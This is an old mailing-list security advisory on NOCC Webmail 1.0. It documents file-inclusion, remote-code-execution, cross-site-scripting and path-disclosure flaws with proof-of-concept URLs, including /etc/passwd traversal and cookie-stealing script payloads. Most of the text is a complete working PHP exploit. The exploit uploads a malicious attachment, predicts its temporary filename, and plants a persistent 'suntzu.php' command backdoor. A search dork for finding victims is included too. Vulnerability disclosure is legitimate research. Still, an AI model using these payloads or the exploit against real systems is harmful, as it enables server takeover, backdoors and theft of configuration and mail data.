<<< Date Index >>>     <<< Thread Index >>>

NOCC Webmail <= 1.0 multiple vulnerabilities



------ NOCC Webmail <= 1.0 multiple arbitrary local inclusion + ----------------
                       php injection -> remote code execution /
                       / cross site scripting / path disclosure
--------------------------------------------------------------------------------
software:
site: http://nocc.sourceforge.net/
description: "NOCC is a webmail client written in PHP. It provides webmail
              access to IMAP and POP3 accounts."
--------------------------------------------------------------------------------
i) vulnerable code in html/footer.php at lines 2-11:
...
<?php
$custom_footer = './themes/' . $_SESSION['nocc_theme'] . '/footer.php';
if(file_exists($custom_footer)) {
    include($custom_footer);
}
else {
?>
          <div class="footer">
              <a href="javascript:void(0);" 
onclick="window.open('http://nocc.sourceforge.net');">
                <img src="themes/<?php echo $_SESSION['nocc_theme'] 
?>/img/button.png" class="footerLogo" alt="
...

if magic_quotes_gpc = Off and register_globals = On,
arbitrary local inclusion, poc:

without to be logged in:
http://[target]/[path]/html/footer.php?_SESSION[nocc_theme]=../../../../../../../etc/passwd%00

also, if register_globals = On, cross site scripting:

http://[target]/[path]/html/footer.php?_SESSION[nocc_theme]=";><script>alert(document.cookie)</script>

--------------------------------------------------------------------------------
ii) vulnerable code in common.php at lines 87-118:

...
if(isset($_REQUEST['lang']))
    $_SESSION['nocc_lang'] = safestrip($_REQUEST['lang']);
if(isset($_REQUEST['sort']))
    $_SESSION['nocc_sort'] = safestrip($_REQUEST['sort']);
if(isset($_REQUEST['sortdir']))
    $_SESSION['nocc_sortdir'] = safestrip($_REQUEST['sortdir']);

// Need to wait on the language before checking it
$lang = $conf->default_lang;
if(isset($_SESSION['nocc_lang']))
    $lang = $_SESSION['nocc_lang'];
else {
    if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) && 
(!isset($conf->force_default_lang) || !$conf->force_default_lang)) {
        $ar_lang = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
        while ($accept_lang = array_shift($ar_lang))
        {
            $tmp = explode(';', $accept_lang);
            $tmp[0] = strtolower($tmp[0]);
            if (file_exists('./lang/' . $tmp[0] . '.php'))
            {
                $lang = $tmp[0];
                break;
            }
        }
    } else {
      $lang = $conf->default_lang;
    }
    $_SESSION['nocc_lang'] = $lang;
}

// Import language translation variables
require ('./lang/'. $lang.'.php');
...

arbitrary local inclusion poc:

http://[target]/[path]/index.php?lang=../../../../../../../../../etc/passwd%00

this works regardless of magic_quotes_gpc settings, because of nocc magic quotes
disable code, look at the safestrip() function in functions.php at lines 
925-930:

...
function safestrip(&$string)
{
    if(get_magic_quotes_gpc())
        $string = stripslashes($string);
    return $string;
}
...

safe? really not...


also, regardless of magic_quotes_gpc settings and if in conf.php
we have

$conf->force_default_lang = false;

(default value) you can exploit this issue through the "Accept-Language" field
in an HTTP request to include an arbitrary php file from local resource, poc:

GET [path]index.php HTTP/1.1
Accept-Language: ../index
Host: [somehost]
Connection: Close
--------------------------------------------------------------------------------
iii)
arbitrary local inclusion in "theme" argument, poc:

regardless of any magic_quotes_gpc settings:

http://[target]/[path]/index.php?theme=../../../../../../../../../etc/passwd%00
http://[target]/[path]/index.php?theme=../../../../../../../../../boot.ini%00

--------------------------------------------------------------------------------
iv) remote code execution, there are two ways of execute arbitrary code on
target system

iv.1) uploading a malicious mail attachment:
      usually attachments are located in a temporary files folder, the path
      is defined in conf.php, by default no path is defined, but script suggests
      a 'tmp/' or 'c:\\temp' dir...
      also filenames are predictable, look at line 66 in send.php:

      ...
      $tmp_name = $conf->tmpdir.'/'.basename($mail_att['tmp_name'] . time() . 
'.att');
      ...
      
      filenames, usually are like this:

      phpA91.tmp1140601928.att
      
      generally:

      php[some hex value].tmp[unix epoch time].att
      
      this filename is predictable since Apache servers carry GMT time
      in "Date:" HTTP response field...
      a malicious script can catch this header , sending an HEAD request to the
      remote server and to itself, calculate the Greenwich timestamp difference
      then calculate the Unix epoch time by time() function locally then
      syncronize to the remote Unix epoch time, knowing the difference in
      seconds.
      
      Succeeded to include the evil file in (how?) about ten
      minutes, then to launch commands, ex:

      
http://[target]/[path]/index.php?cmd=ls%20-la&lang=..%2ftmp%2fphpA91.tmp1140601928.att%00

      also, if temporary folder is not outside nocc path and not .htaccess 
protected,
      a remote user can switch to:

      http://[target]/[path]/tmp/
      
      to see the name of the uploaded attachment

iv.2) including a "profile" file:
      "profiles" folder name is defined in conf.php, by default no path is
      defined but script suggests 'profiles/' or 'prefs\\'.

      Also you can inject php code in "full name" field when you set your 
profile
      and filenames are like this:

      rgod@xxxxxxxxxxxxxxxxx
      
      so, if php code is like this:

      <?php passthru($_GET[cmd]);?>
      
      you launch commands:

      
http://[target]/[path]/index.php?cmd=netstat%20-ano&lang=..%2fprofiles%2frgod@xxxxxxxxxxxxxxxxx%00
      
      also...

v)    information disclosure, you can switch to:

      http://[target]/[path]/profiles/
      
      to see the filenames and to collect emails
--------------------------------------------------------------------------------
v) some xss:
http://[target]/[path]/html/error.php?html_error_occurred=<script>alert(document.cookie)</script>
http://[target]/[path]/html/filter_prefs.php?html_filter_select=<script>alert(document.cookie)</script>
http://[target]/[path]/html/no_mail.php?html_no_mail=<script>alert(document.cookie)</script>
http://[target]/[path]/html/html_bottom_table.php?page_line=<script>alert(document.cookie)</script>
http://[target]/[path]/html/html_bottom_table.php?prev=<script>alert(document.cookie)</script>
http://[target]/[path]/html/html_bottom_table.php?next=<script>alert(document.cookie)</script>
--------------------------------------------------------------------------------
vi) path disclosure:

http://[target]/[path]/html/header.php
--------------------------------------------------------------------------------
exploit for iv.2):
      
<?php
#  ---noccw_10_incl_xpl.php                                 8.22 23/02/2006    #
#                                                                              #
#  NOCC Webmail <= 1.0 remote commands execution exploit through arbitrary     #
#  local inclusion & attachment filename prediction                            #
#                                                                              #
#                              coded by rgod                                   #
#                     site: http://retrogod.altervista.org                     #
#                                                                              #
# -> works regardless of any magic_quotes_gpc settings                         #
#                                                                              #
# dork: ("powered by nocc" intitle:"NOCC Webmail") -site:sourceforge.net       #
# -Zoekinalles.nl -analysis                                                    #
#                                                                              #
# Sun-Tzu: "Knowing the place and the time of the coming  battle, we may       #
# concentrate from the greatest distances in order to fight"                   #

/* short explaination:
   we have various arbitrary local inclusion issues, ex:

   
http://[tArGeT]/[pAtH]/index.php?lang=../../../../../../../../../../../../etc/passwd%00
   
http://[tArGeT]/[pAtH]/index.php?theme=../../../../../../../../../../../etc/passwd%00
   
http://[tArGeT]/[pAtH]/html/footer.php?_SESSION[nocc_theme]=../../../../../../../../etc/passwd%00

   This code upload an evil mail attachment (file is renamed by NOCC...).
   After, it tries to include it, predicting its name and its location, ex:

   
http://[tArGeT]/[pAtH]/index.php?lang=../tmp/php354.tmp1140521343.att%00&cmd=ls%20-la
   
http://[tArGeT]/[pAtH]/index.php?theme=../tmp/php354.tmp1140521343.att%00&cmd=ls%20-la
   
http://[tArGeT]/[pAtH]/html/footer.php?_SESSION[nocc_theme]=..%2f..%2Ftmp%2Fphp53.tmp1140662880.att%00

   If succeeded, it installs  a backdoor called suntzu.php on target server.

   To launch this exploit you need a POP3 account on a machine of your choice,
   you need to supply servername, username & password.

   a note:
   you can do the same manually and more quickly with profile files, if
   enabled, ex:
   edit your profile, then:

   
http://[target]/[path]/index.php?cmd=cat%20conf.php&lang=../profiles/username@xxxxxxxxxxxxxxxxx%00

   see the full advisory here: 
http://retrogod.altervista.org/noccw_10_incl_xpl.html
                                                                              */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",10);
ob_implicit_flush (1);

echo'<html><head><title> **** NOCC Webmail <= 1.0 remote commands execution ****
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important}     h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
 **** NOCC Webmail <= 1.0 remote commands execution ****</p><p class="Stile6">a
script  by  rgod  at    <a href="http://retrogod.altervista.org"target="_blank";>
http://retrogod.altervista.org</a> </p> <table  width="84%"><tr><td width="43%">
<form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'">    <p><input
type="text"  name="hOsT"> <span class="Stile5">* tArGeT    (ex:www.sitename.com)
</span></p> <p><input type="text" name="pAtH">  <span class="Stile5">* pAtH (ex:
/nocc/ or just / )  </span> </p> <p> <input type="text"  name="cmd">       <span
class="Stile5"> * specify a command   </span> </p>  <p>      <input  type="text"
name="POP3_SERVER"><span class="Stile5"> * a POP3 server  </span> </p> <p><input
type="text" name="USER"><span class="Stile5"> * USERNAME ...</span></p><p><input
type="password"   name="PASSWD"> <span  class="Stile5"> * ... and PASSWORD to it
</span></p><p><input type="text" name="PorT"><span class="Stile5">specify a PorT
other than  80 (default value)</span> </p> <p> <input  type="text" name="pRoXy">
<span class="Stile5"> send  exploit through an HTTP pRoXy (ip:PorT) </span> </p>
<p><input type="submit" name="Submit" value="go!"></p></form></td></tr> </table>
</body></html>';

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '<table border="0"><tr>';
  while ($ii <= strlen($headeri)-1){
    $dAtAi=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "<td>&nbsp;&nbsp;</td>";
      for ($li=0; $li<=15; $li++) {
        echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
                }
      $ki=$ki+16;
      echo "</tr><tr>";
    }
    if (strlen($dAtAi)==1) {
      echo "<td>0".htmlentities($dAtAi)."</td>";
    }
    else {
      echo "<td>".htmlentities($dAtAi)."</td> ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "<td>&nbsp&nbsp</td>";
  }
  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
    echo "<td>".htmlentities($headeri[$li])."</td>";
  }
  echo "</tr></table>";
}

$pRoXy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpAcKeT() //2x speed
{
  global $pRoXy, $hOsT, $PorT, $pAcKeT, $HtMl, $pRoXy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
  }
  else {
    $c = preg_match($pRoXy_regex,$pRoXy);
    if (!$c) {echo 'Not a valid proxy...';
    die;
    }
  echo "OK.<br>";
  echo "Attempting to connect to ".$hOsT." on PorT ".$PorT."...<br>";
  if ($pRoXy=='') {
    $result = socket_connect($socket, $hOsT, $PorT);
  }
  else {
    $parts =explode(':',$pRoXy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' pRoXy...<br>';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result < 0) {
    echo "socket_connect() failed.\r\nReason: (".$result.") " . 
socket_strerror($result) . "<br><br>";
  }
  else {
    echo "OK.<br><br>";
    $HtMl= '';
    socket_write($socket, $pAcKeT, strlen($pAcKeT));
    echo "Reading response:<br>";
    while ($out= socket_read($socket, 2048)) {$HtMl.=$out;}
    echo nl2br(htmlentities($HtMl));
    echo "Closing socket...";
    socket_close($socket);
  }
  }
}

function sendpAcKeTii($pAcKeT)
{
  global $pRoXy, $hOsT, $PorT, $HtMl, $pRoXy_regex;
  if ($pRoXy=='') {
    $ock=fsockopen(gethOsTbyname($hOsT),$PorT);
    if (!$ock) {
      echo 'No response from '.htmlentities($hOsT); die;
    }
  }
  else {
        $c = preg_match($pRoXy_regex,$pRoXy);
    if (!$c) {
      echo 'Not a valid pRoXy...';die;
    }
    $parts=explode(':',$pRoXy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' pRoXy...<br>';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from pRoXy...';die;
        }
  }
  fputs($ock,$pAcKeT);
  if ($pRoXy=='') {
    $HtMl='';
    while (!feof($ock)) {
      $HtMl.=fgets($ock);
    }
  }
  else {
    $HtMl='';
    while ((!feof($ock)) or 
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$HtMl))) {
      $HtMl.=fread($ock,1);
    }
  }
  fclose($ock);
  // echo nl2br(htmlentities($HtMl));
}

function greenwich_timestamp($HtMl)
{
   $temp=explode("Date: ",$HtMl);
   $temp2=explode("\r\n",$temp[1]);
   $is_now=$temp2[0];
   $temp=explode(" 
",$is_now);$day=$temp[1];$month=$temp[2];$year=$temp[3];$temp2=explode(":",$temp[4]);
   $hour=$temp2[0];$min=$temp2[1];$sec=$temp2[2];
   $tb=array ('Jan', '1','Feb', '2','Mar', '3','Apr', '4','May', '5','Jun', '6',
   'Jul', '7','Aug', '8','Sep', '9','Oct', '10','Nov', '11','Dec', '12');
   for ($i=0;$i<=23;$i++) {if ($month==$tb[$i]) {$month=$tb[$i+1];break;}}
   return mktime($hour,$min,$sec,$month,$day,$year);
}

if ( get_magic_quotes_gpc() ) {
   function stripslashes_deep($value) {
       $value = is_array($value) ? array_map('stripslashes_deep', $value) : 
stripslashes($value);
       return $value;
   }
   $_POST = stripslashes_deep($_POST);
}

$hOsT=$_POST[hOsT];$pAtH=$_POST[pAtH];$PorT=$_POST[PorT];
$USER=$_POST[USER];$PASSWD=$_POST[PASSWD];$POP3_SERVER=$_POST[POP3_SERVER];
$cmd=$_POST[cmd];
echo "<span class=\"Stile5\">";
if (($hOsT<>'') and ($pAtH<>'') and ($cmd<>''))
{
  $PorT=intval(trim($PorT));
  if ($PorT=='') {$PorT=80;}
  if (($pAtH[0]<>'/') or ($pAtH[strlen($pAtH)-1]<>'/')) {echo 'Error... check 
the pAtH!'; die;}
  if ($pRoXy=='') {$p=$pAtH;} else {$p='http://'.$hOsT.':'.$PorT.$pAtH;}
  $hOsT=str_replace("\r","",$hOsT);$hOsT=str_replace("\n","",$hOsT);
  $pAtH=str_replace("\r","",$pAtH);$pAtH=str_replace("\n","",$pAtH);

#STEP 0 -> Check if already succeeded on tArGeT hOsT...
$subpAtH= array ('','html/');
for ($i=0; $i<=count($subpAtH)-1; $i++)
{
  $pAcKeT ="GET ".$p.$subpAtH[$i]."suntzu.php?cmd=".urlencode($cmd)." 
HTTP/1.1\r\n";
  $pAcKeT.="Host: ".$hOsT."\r\n";
  $pAcKeT.="Connection: Close\r\n\r\n";
  show($pAcKeT);
  sendpAcKeTii($pAcKeT);
  if (eregi("Hi Master!",$HtMl)) {echo nl2br(htmlentities($HtMl));
                                  die("Exploit succeeded...");}
}
if (file_exists($hOsT.".txt"))
  {
   $f=fopen($hOsT.".txt","r");
   $XpL=fgets($f);
   fclose($f);
   $pAcKeT ="GET ".$p.$XpL."&cmd=".urlencode($cmd)." HTTP/1.1\r\n";
   $pAcKeT.="hOsT: ".$hOsT."\r\n";
   $pAcKeT.="Connection: Close\r\n\r\n";
   show($pAcKeT);
   sendpAcKeTii($pAcKeT);
   if (eregi("Hi Master!",$HtMl)) {echo nl2br(htmlentities($HtMl));
                                   die("Exploit succeeded...");}
}
}

if (($hOsT<>'') and ($pAtH<>'') and ($cmd<>'') and ($POP3_SERVER<>'') and 
($USER<>'') and ($PASSWD<>''))
{
$difftime=0;
//syncrhonize with remote tArGeT Unin epoch time by Apache "Date:" response 
header
//it carries GMT time... sending two HEAD requests, one to target, one to 
yourself
if (eregi("Date: ",$HtMl))
{
        $pAcKeT ="HEAD / HTTP/1.1\r\nhOsT: ".$hOsT."\r\nConnection: 
Close\r\n\r\n";
        sendpAcKeTii($pAcKeT);
        $itstime=greenwich_timestamp($HtMl);
        echo "tArGeT hOsT greenwich timestamp: ".$itstime."<br>";
        $pAcKeT=str_replace($hOsT,$_SERVER[SERVER_NAME],$pAcKeT);
        $fp=fsockopen($_SERVER[SERVER_NAME],$_SERVER[SERVER_PORT]);
        fputs($fp,$pAcKeT);$out='';
        while (!feof($fp)){
          $out.=fgets($fp);
        }
        fclose($fp);
        $mytime=greenwich_timestamp($out);
        echo "my greenwich timestamp: ".$mytime."<br>";
        $difftime= $itstime-$mytime;
        echo "difftime: ".$difftime."<br>";
}
  #STEP 1 -> Login to a POP3 server that you choose to have access on NOCC 
interface
  $dAtA ="user=".$USER;
  $dAtA.="&domainnum=0";
  $dAtA.="&passwd=".$PASSWD;
  $dAtA.="&server=".$POP3_SERVER;
  $dAtA.="&port=110";
  $dAtA.="&servtype=pop3";
  $dAtA.="&lang=en";
  $dAtA.="&theme=standard";
  $dAtA.="&enter=Ok";
  $pAcKeT ="POST ".$p."action.php HTTP/1.1\r\n";
  $pAcKeT.="Referer: http://".$hOsT.$pAtH."\r\n";;
  $pAcKeT.="Accept-Language: en\r\n";
  $pAcKeT.="Content-Type: application/x-www-form-urlencoded\r\n";
  $pAcKeT.="User-Agent: Sun-Tzu\r\n";
  $pAcKeT.="Host: ".$hOsT."\r\n";
  $pAcKeT.="Content-Length: ".strlen($dAtA)."\r\n";
  $pAcKeT.="Connection: Close\r\n";
  $pAcKeT.="Cache-Control: no-cache\r\n\r\n";
  $pAcKeT.=$dAtA;
  show($pAcKeT);
  sendpAcKeTii($pAcKeT);
  $temp=explode("Set-Cookie: ",$HtMl);
  $temp2=explode(" ",$temp[1]);
  $COOKIE=$temp2[0];
  $temp2=explode(" ",$temp[2]);
  $COOKIE.=" ".$temp2[0];
  echo "COOKIE -> ".htmlentities($COOKIE)."<BR>";

#STEP 2 -> Upload the evil attachment...
$action = array ('add', 'Attach'); //'action' name is different in some versions
$found=0;
for ($d=0; $d=count($action)-1; $d++)
{
$dAtA='-----------------------------7d630bc80618
Content-Disposition: form-data; name="sort"

1
-----------------------------7d630bc80618
Content-Disposition: form-data; name="sortdir"

1
-----------------------------7d630bc80618
Content-Disposition: form-data; name="lang"

en
-----------------------------7d630bc80618
Content-Disposition: form-data; name="action"

write
-----------------------------7d630bc80618
Content-Disposition: form-data; name="sendaction"

'.$action[$d].'
-----------------------------7d630bc80618
Content-Disposition: form-data; name="num_attach"

0
-----------------------------7d630bc80618
Content-Disposition: form-data; name="mail_from"

fake@xxxxxxxxxxxx
-----------------------------7d630bc80618
Content-Disposition: form-data; name="mail_to"


-----------------------------7d630bc80618
Content-Disposition: form-data; name="mail_cc"


-----------------------------7d630bc80618
Content-Disposition: form-data; name="mail_bcc"


-----------------------------7d630bc80618
Content-Disposition: form-data; name="mail_subject"


-----------------------------7d630bc80618
Content-Disposition: form-data; name="mail_att"; filename="C:\suntzuuuu.php"
Content-Type: text/html

<?php
ob_clean();echo"Hi 
Master!";ini_set("max_execution_time",0);passthru($_GET[cmd]);
$sun=fopen("suntzu.php","w");fputs($sun,"<?php ob_clean();echo\"Hi 
Master!\";ini_set(\"max_execution_time\",0);passthru(\$_GET[cmd]);");
fclose($sun);chmod("suntzu.php",777);
die;
?>
-----------------------------7d630bc80618
Content-Disposition: form-data; name="priority"

3 (Normal)
-----------------------------7d630bc80618
Content-Disposition: form-data; name="mail_body"


-----------------------------7d630bc80618--';

  $pAcKeT ="POST ".$p."send.php HTTP/1.1\r\n";
  $pAcKeT.="Referer: 
http://".$hOsT.$pAtH."action.php?action=write&lang=en&sort=1&sortdir=1\r\n";;
  $pAcKeT.="Accept-Language: en\r\n";
  $pAcKeT.="Content-Type: multipart/form-data; 
boundary=---------------------------7d630bc80618\r\n";
  $pAcKeT.="User-Agent: Sun-Tzu\r\n";
  $pAcKeT.="Host: ".$hOsT."\r\n";
  $pAcKeT.="Content-Length: ".strlen($dAtA)."\r\n";
  $pAcKeT.="Connection: Close\r\n";
  $pAcKeT.="Cache-Control: no-cache\r\n";
  $pAcKeT.="Cookie: ".$COOKIE."\r\n\r\n";
  $pAcKeT.=$dAtA;
  show($pAcKeT);
  $mytime=time()+$difftime;

  echo "predicting Unix epoch time on remote machine ->".$mytime."<br><br>";
  sendpAcKeTii($pAcKeT);

  if (eregi("suntzuuuu.php",$HtMl)) {$found=1; break;}
}
if ($found==0)
{die("Failed to upload the attachment, maybe wrong pop3 details");}

# STEP 3 Our routine... cycling to find the evil attachment and to launch 
commands...
# ---------------------------------START----------------------------------------
  //guessing where $tmpdir can be..., add some values here if you want
  $tempdir= array (
                  'tmp/',
                  '../../../../../../../../../../../../../tmp/',
                          '../../../../../../../../../../../../../temp/',
                  '',
                          'temp/',
                          '../tmp/',
                          '../../tmp/',
                          '../../../tmp/',
                          '../../../../tmp/',
                          '../../../../../tmp/',
                          '../../../../../../tmp/',
                          '../../../../../../../tmp/'
                          );
  //predicting time() substring in attachment filename
  $predict_time=
            array (
                  $mytime,
                  $mytime + 1,
                  $mytime + 2,
                  $mytime + 3
                  );

function refresh()
{
  flush();
  ob_flush();
  usleep(10000);
}
$script= array (
                "index.php?lang=",
                "index.php?theme=",
                "html/footer.php?_SESSION[nocc_theme]=..%2F"
               );

for ($y=1; $y<=65535; $y++) //some hex values in php temporary files
{
  $a_value=strtoupper(dechex($y));
  for ($x=0; $x<=count($tempdir)-1; $x++) //for each possible file location
  {
    for ($z=0; $z<=count($predict_time) - 1; $z++) // for actual Unix epoch 
time, with +1,+2,+3
    {
      for($ww=0; $ww<=count($script)-1; $ww++) //for each vulnerable script
      {
      
$XpL="../".$tempdir[$x]."php".$a_value.".tmp".$predict_time[$z].".att".chr(0x00);
      $XpL=urlencode($XpL);
      $XpL=$script[$ww].$XpL;
      $pAcKeT ="GET ".$p.$XpL."&cmd=".urlencode($cmd)." HTTP/1.1\r\n";
      $pAcKeT.="Host: ".$hOsT."\r\n";
      $pAcKeT.="Connection: Close\r\n\r\n";
      echo "trying with http://".$hOsT.$pAtH.$XpL.";<br>"; refresh();
      //show($pAcKeT);
      sendpAcKeTii($pAcKeT);
      if (eregi("Hi Master!",$HtMl))
               { show($pAcKeT);
                 echo nl2br(htmlentities($HtMl));
                 $f=fopen($hOsT.".txt","w");
                 fputs($f,$XpL);
                 fclose($f);
                 refresh();
         die("Exploit succeded... We tried to put a backdoor on tArGeT system, 
************ <br>
                      call this url:                                            
                    <br>
                      http://".htmlentities($hOsT.$pAtH)."suntzu.php?&cmd=[your 
command]            <br>
                      or this:                                                  
                    <br>
                      
http://".htmlentities($hOsT.$pAtH)."html/suntzu.php?&cmd=[your command]       
<br>
                      however,if not succeeded, you can launch commands with 
this:                  <br>
                      http://".htmlentities($hOsT.$pAtH.$XpL)."&cmd=[your 
command]                  <br>
                      Also, we keep exploit url in ".htmlentities($hOsT).".txt, 
so you have not to  <br>
                      cycle anymore...                                          
                    <br>
                      Enjoy! 
***********************************************************************<br>
                     ");
              }
          }
    }
  }
}
//If you are here...
echo "Exploit failed...";
#-------------------------------END---------------------------------------------
}
else
{echo "Fill * required fields, optionally specify a pRoXy...";}
?>
      
--------------------------------------------------------------------------------
rgod

site: http://retrogod.altervista.org
mail: rgod at autistici org
original adivsory: http://retrogod.altervista.org/noccw_10_incl_xpl.html
--------------------------------------------------------------------------------